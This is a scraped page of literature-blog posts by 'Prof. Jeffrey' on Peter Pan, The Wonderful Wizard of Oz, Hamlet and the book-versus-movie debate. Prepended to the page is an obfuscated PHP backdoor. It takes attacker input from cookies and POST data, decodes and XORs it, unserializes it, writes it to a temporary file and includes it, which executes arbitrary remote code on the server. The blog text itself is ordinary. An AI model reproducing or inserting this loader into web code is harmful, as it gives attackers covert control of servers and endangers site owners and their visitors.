$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Adaptation – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Adaptation

Missing From the List: Peter Pan

Welcome back, class.

Peter Pan seems accidentally special—like it struck the right cord with its audience and they never let it go. It’s inventive and ageless, but it’s also simple. It’s for children, written by a man that seemed never to grow up (and I mean that only in a good way), so there’s a reason it’s so magical. Reading it as an adult, I picked up on the fact that Peter Pan wasn’t meant for me at all—it only clued me in on the fact that, being a grown-up, my innocence was already gone. The rest of its efforts were directed towards its childhood audience.

Compare Peter Pan to a good Pixar movie, for example—they are family movies, and while they are kid-oriented, they are as much for the parents as they are for the kids. The Incredibles is as much a story about the children with superpowers as it is about the two superhero parents, in a struggling marriage and trying to keep their family together. Inside Out is the story of 5 different characters—emotions—making developmental decisions on behalf of a young girl, and I promise you that’s more for the parents’ benefit than for the kids’.

But that’s not Peter Pan—just like The Outsiders by S. E. Hinton, which was written by a teenager for teenagers, Peter Pan is about children and, in its way, written by a man that might as well have been a child. That’s why it should have made the list of books everyone should read before they die.


A statue of Peter Pan in Kensington Gardens, which served as inspiration for J. M. Barrie as he wrote the story.

Growing up, I knew the story of Peter Pan from its adaptations—the animated Disney film was familiar, and a few spin-off/prequel books pulled a Wicked and made Captain Hook the focus. But my favorite adaptation is the 2003 movie, staring Jeremy Sumpter as Peter Pan and Jason Isaacs as Captain Hook. By staying more faithful to J. M. Barrie’s original story, it was a darker take—to my surprise, the original novel is darker than it appears.

For one thing, Peter himself is everything a child can be when unsupervised. He is innocent, impulsive, and (to use the novel’s exact word) heartless. There’s something unnatural, even monstrous, about this boy that never grows up—we don’t really get to the point that we’re supposed to fear him, but being his friend is not something you’d want. Maybe that’s the adult in me talking . . . who’s to say?

Then there’s Wendy Darling and her two siblings, John and Michael, who escape with Peter impulsively to fly to Never Never Land, where they might get the chance to remain children forever. They meet Peter’s gang of Lost Boys (a nicer crew than the Lord of the Flies boys, but same principle); they see mermaids, fairies, Indians (yes, this is fairly racist and does not age well); and they fight pirates, specifically the maddeningly evil Captain Hook, who hates Peter with a burning passion. Adventure ensues.


Author J. M. Barrie

I’ve compared Peter Pan to The Wind in the Willows before—both are simple stories, meant specifically for children, as opposed to stories like Alice in Wonderland. Lots of children’s stories are allegory and symbolism, meant to convey deeper meanings for the people that look for them. Alice in Wonderland makes a point to criticize society through methods specifically for adults to understand, unbeknownst to the children enjoying the fantasy. While Peter Pan certainly has its moments of meaning—powerful, moving moments—they aren’t buried in literary codes. The amazing things about Peter Pan are on the surface, not between the lines.

And one of the things that makes Peter Pan so amazing is Never Land itself—it’s Disney World. It’s an imaginary theme park, complete with every fantasy creature and villain a typical child wants. Wonderland and Oz are mighty scary at times, but Never Land is a dream come true. Even the pirates and the danger they pose are fun and exciting. Never Land is imagination, and Peter Pan is fantasy come true—that’s why it should have made the list.


I’m just finishing The Way We Live Now by Anthony Trollope—it may be from the same era and even location as Peter Pan, but they are both about as far apart as The Lord of the Rings and The Lord of the Flies. So I’ll save my discussion for next time. Until then,

Prof. Jeffrey

Missing From The List: The Wonderful Wizard of Oz

Happy holidays, class!

As I’ve said before, our class textbook is flawed. There’s certainly more than just 50 books to read before you die—what about the books that didn’t make the cut? Not to worry…Prof. Jeffrey to the rescue.

The Wonderful Wizard of Oz is one of those books. I can guess a couple of reasons why it didn’t make the list: it can come off as disjointed or unstructured, and it isn’t as strong as other fairy tale narratives, such as Alice’s Adventures in Wonderland (I do keep coming back to that one, don’t I?). Nonetheless, it’s worth reading.


The Wizard of Oz (1939)

In many ways, the novel has been surpassed by The Wizard of Oz (1939), considered one of the greatest films of all time. From there, the story has spawned many revisionist versions, such as Gregory MaGuire’s The Wicked Years series or the use of the characters on TV shows like NBC’s upcoming show Emerald City or ABC’s Once Upon a Time. The movie musical has also inspired musical adaptations such as The Wiz and Wicked. The cultural impact may be more important than the original story.

Even so, L. Frank Baum’s novel on its own has made milestones. It’s essentially the first “American” fairy tale—a children’s story built on the backbone of late 19th century American culture. References to the farming population of the Midwest, the Industrial Revolution, the glamour of urban life, and the overwhelming sense of social, economic, and political influences are seen through the eyes of Dorothy Gale, an innocent girl in the middle of it all. It isn’t a stretch to call Oz the American Wonderland—just as amazing to behold, and just as terrifying in the eyes of a child.

Wicked (1995), novel by Gregory MaGuire

It’s enough of a remarkable story to keep returning to, over and over again. Remakes, revisions, rewrites…everyone has an image of Oz they prefer, and it’s diverse enough to withstand new adaptations. Talking animals, wicked witches, wonder and adventure and terror—it’s got everything a good fairy tale needs. Even if you’ve seen the movie and you know the story, the original is worth the read.


Your homework: what other books belong on the list? What books do you think people should read before they die? Put it in the comments!

I’ll be finishing Life of Pi next. See you next week.

Prof. Jeffrey

Hamlet

A Portrait of William Shakespeare

A Portrait of William Shakespeare

Something is rotten in the state of Denmark, class.

Hamlet is one of my favorites. It’s been pulled apart by experts for hundreds of years, and it can still be interpreted in new ways. But no matter what, it still remains a classic, untarnished by these interpretations. It stands the test of time, thanks to Shakespeare’s awesomeness.

On the surface, Hamlet is about a grieving prince trying to avenge his father’s murder at the hands of his uncle. This leads into a sweeping commentary on suicide, revenge, masculinity, insanity, parenthood, inaction, the afterlife, humanity, and ghosts, all at once. The discussions that spring from this story are limitless.

As much as I’d like to add to those discussions, I think it’s safer for me to stick to the story itself; I might otherwise begin writing a dissertation. That’s partly what makes Hamlet such a good work of literature—when one strips away the wide and varying interpretations, what’s left is a strong story. Shakespeare’s famous for a reason.


Shakespeare wrote Hamlet after his son died at a young age. Hamlet’s journey, having lost his father, is from grief to peace, reflecting Shakespeare’s own grieving process. Hamlet spends most of the play deep in madness, revenge plots, conspiracy, and suicidal thoughts—but in the end, even as he faces death, he seems to have found an inner peace.

This journey is catharsis—the release of overflowing emotions—and it’s one of the oldest reasons why literature is important (we can thank Aristotle for that). Hamlet, like many great works of literature, art, and music, is therapeutic. It portrays grief and the path to peace, and reading it or viewing it, just like Shakespeare’s act of writing it, is a catalyst for the grieving process.

hamlet-kenneth-branagh-poster

Poster for Kenneth Branagh’s “Hamlet” (1996)

This is an important point for Shakespeare, because Hamlet is his longest play. The only movie version I know that’s portrayed the entire text is Kenneth Branagh’s Hamlet (1996), which clocks in at FOUR HOURS of screen time. Hamlet alone has more to say than any other Shakespearean character, with enough monologues to fill up the standard length of a play by himself. His journey through grief is long and painful.

The length of the play also reveals a foundational element for the character: the middle three acts of the play have Hamlet struggling to act on the wishes of his father’s ghost. He doubts himself, seeks evidence, kills the wrong man, pretends to be insane to throw people off, and monologues like there’s no tomorrow. I think this is about his grief as well; he loves his father more than he hates his uncle, and he resists the call to murdering his father’s killer because of the pain of his father’s death. The ghost wants his son’s anger, but Hamlet is more complicated than pure revenge will allow.

One passage that struck me reading it this time is in Act 1, Scene 2 (Hamlet’s introduction scene). Hamlet’s uncle calls his excessive grief “unmanly,” because he is still in mourning after the rest of the kingdom, even the king’s wife, has moved on. Hamlet has an air of femininity throughout the play, conventionally speaking, and this provides some context in regards to the questions about Shakespeare’s sexuality.

Hamlet is the hero, not in spite of his femininity but because of it. His “feminine” qualities make him who he is—a different kind of man, perfect for the scenarios provided in the play, and therefore our tragic hero. His “unmanly grief” isn’t weakness…it’s love.


David Tennant as Hamlet (2009)

David Tennant as Hamlet (2009)

I’ve barely scratched the surface here, so I encourage you to try Hamlet on your own. In fact, try any of the movie versions first; watching Hamlet is far more enjoyable than reading it. I know of five solid adaptations, featuring actors like Sir Laurence Olivier, David Tennant, Sir Patrick Stewart, Glenn Close, Ethan Hawke, and even Mel Gibson.

If none of those versions suit you, just watch The Lion King. Simba is Hamlet, Mufasa is the King, Scar is Hamlet’s uncle, Nala is Ophelia (with a happier ending), Timon and Pumbaa are Rosencrantz and Guildenstern…the list goes on.

David Tennant as Hamlet and Sir Patrick Stewart as King Claudius (2009)

David Tennant as Hamlet and Sir Patrick Stewart as King Claudius (2009)

If you know Hamlet well enough and need even more existential crises, I recommend the play Rosencrantz and Guildenstern are Dead by Tom Stoppard. It’s philosophically funny and expands on Shakespeare’s ideas in the best way possible.

It would seem that Hamlet is just as important for the works it has inspired.


Don’t forget your homework! Reply in the comments: If you’ve read Hamlet before, what’s your favorite part? Why do you like it? Or not like it?

Take a moment to celebrate with me…I’ve been professor-blogging for two months now, and I feel like it’s going well! Grades look good, so you must be learning something.  Keep up the good work, students.

I’m reading my next book, but it will take a while. Next week, I’ll talk about a book I’ve chosen not to reread—the Bible. I know what you’re thinking… “even you, Professor, could stand to reread the Bible.” As it turns out, I have been reading my Bible everyday, and I’m a few chapters away from a years-long goal of reading it cover to cover.  In fact, I’ve studied the Bible since the earliest memories of my childhood, since before I could even read. I even currently work at a church. How do you like them apples?

In any case, next week is gonna be a scream.

Prof. Jeffrey

Off-Topic: Dismantling the “Book vs. Movie” Debate

Welcome back, class.

I’ve noticed that for the first three entries for this blog–Alice’s Adventures in Wonderland, the Harry Potter series, and The Lord of the Rings (pending…I’ll finish reading it eventually, I promise)–each novel in question has a major film franchise.  In fact, the fame for most (if not all) of the books on the list comes from the film adaptations.  I’m not saying that the movies are responsible for their success, but I am saying that their mainstream popularity can be easily linked to their movie versions.

Take, for example, the Harry Potter series.  I grew up with both the books and the movies, so like most fans my age, I have strong opinions about each novel and each film.  Based on entertainment value alone, I would say I enjoyed the movies more when I was younger, and now I enjoy the books more.  The movies did a good job bringing the magic of the series to life, and the books tend to be subtler and less stylistic in their approach.

Other opinions on the series, even in this class, will differ vastly from mine–and that’s the case with every adaptation.  Some prefer the books more, and some prefer the movies.

But every so often, these two media are dragged into the arena by screaming fans and are forced to battle senselessly. The books, as the source material, win much more often than not, and the movies are beaten to a pulp, built back up by hardcore fans, and sent back into the arena for more needless violence.  And what’s worse–our culture encourages this barbarism!

Let me lay this out plainly for you, students, so that you know exactly what’s happening here: books and movies are different.  They are as different as paintings and sculptures.  They are as different as science and history.  They are as different as Earth and Mars.  They shouldn’t be so severely ranked in comparison with each other, because it belittles the work put in by the creators of each product (and if your goal is to belittle those artists, we have a different issue to discuss).

You, as a human being with rights to your feelings, can most certainly enjoy the book more than the movie, and vice versa.  Feelings are much more permitted in society today than they were hundreds of years ago, you’ll be surprised to know.  But when you start shouting about the book being better than the movie, you better know that I FEEL enraged at your unceremoniously preposterous ranking system.  There’s no need for that kind of hierarchy.

So when I read a book and watch its movie version, I know (and, now, you know as well) that it is eye-opening to compare the two and senseless to rank the two.  The book, being the countless hours of work by both a hungering author and those responsible for editing and publishing a collection scattered thoughts into a cohesive story, cannot be better or worse than the movie, being the large-scale production of one or more directors that carefully guide actors, script writers, set designers, composers, special effects producers, and numerous other artists through a narrative set to film; it is impossible in the universe we live in.  Update your book reports and movie reviews accordingly.

Instead of ranking books vs. movies, it might be a better use of your time to analyze and discuss the ways a book and a movie tell the same story, or how one might fail to tell such a story in comparison with the other.  For instance, instead of saying “Prisoner of Azkaban was much better as a book than as a movie” or, even worse, “the movie version was STUPID,” you could say “The third movie did a good job of capturing the mood of the book and it was a good change from the first two, but it was much harder to follow the story for viewers who hadn’t read the books; I prefer the book because it tells a better story.”  See what I did there?

On a lighter note, I am enjoying reading The Lord of the Rings and I like comparing it to the movie versions.  I grew up watching the movies, so reading the original story now is akin to watching the extended editions of the movies, years after the original release.  I’m learning more about characters and more about Middle-Earth, which is going to give me a deeper understanding of the movies and of the source material.  I’ll get into all of this next week, though.

Thanks for listening to my rant.  I hope you learned something.

Prof. Jeffrey